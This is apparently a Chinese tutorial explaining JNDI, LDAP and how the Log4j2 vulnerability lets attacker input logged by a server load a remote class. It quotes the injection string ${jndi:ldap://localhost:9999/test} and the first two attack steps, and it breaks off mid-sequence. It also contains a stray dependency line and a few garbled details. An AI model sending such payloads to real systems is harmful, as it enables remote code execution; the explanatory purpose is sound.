JNDI原理
JNDI全程 Java Naming and Directory Interface。JNDI是JAVA平台的一个标准扩展,提供了一组接口、类和关于命名空间的概念。如同其他很多JAVA技术一样,JNDI是provider-based的技术,暴露了一个API和一个服务供应接口(SPI)。这意味着任何基于名字的技术都能通过JNDI而提供服务,只要JNDI支持这项技术。
JNDI目前所支持的技术包括LDAP、COS名字服务、RMI、NDS、DNS、Windows注册表等等。很多J2EE技术,包括EJB都依靠JNDI来组织和定位实体。JNDI通过绑定的概念对象讲对象和名称联系起来。在一个文件系统中,文件名别绑定给文件。在DNS中,一个IP地址绑定一个URL。在目录服务中,一个对象名被绑定给一个对象实体。
JNDI中的一组绑定作为作为上下文来引用。每个上下文暴露的一组操作是一致的。例如,每个上下文提供了一个查找操作,返回指定名字的响应对象。每个上下文都提供了绑定和撤出绑定名字到某个对象的操作。JNDI使用通用的方式来暴露命名空间,即使用分层上下文以及使用相同命名语法的子上下文。
简单来说:通过JNDI提供了”通过名称找到对应的对象”的规范含义,即SPI功能,实现则由具体的技术支持,如:LDAP、RMI、DNS、Database。
org.apache.commons commons-collections4 4.0
LDAP原理
目录服务是一个特殊的数据库,用来保存描述性的,基于描述的详细信息,支持过滤功能。
LDAP,它是基于X.500标准的轻量级目录访问协议。
目录是一个为查询、浏览和搜索而优化的数据库,它成树状结构组织数据,类似文件目录一样。目标数据库和关系数据库不通,它有优异的读性能,但写性能差,并且没有事务处理、回滚等复杂功能,不适用于存储修改频繁的数据库。所以目录天生是用来查询的,就好象它的名字一样。
LDAP目录服务是由目录数据库和一套访问协议组成的系统。
log4j漏洞介绍
Log4j2默认支持解析ldap/rmi协议,并通过名称从ldap服务端其获取对应的class文件,使用ClassLoader在本地加载Ldap服务端返回的class类。这就为攻击者提供了攻击途径,攻击者可以在界面传入一个包含恶意内容(会提供一个恶意的Class文件)的ldap协议内容(如:恶意内容${jndi:ldap://localhost:9999/test}恶意内容),该内容传递到后端被log4j2打印出来,就会触发恶意的Class的加载执行(可执行任意后台指令),从而达到攻击的目的。
1.首先攻击者找到存在风险的接口(接口会将前端输入直接通过日志打印出来),然后向该接口发送攻击内容${jndi:ldap//localhost:9999/Test}
2.被攻击服务器收到该内容后,通过Log4j2工具将其作为日志打印。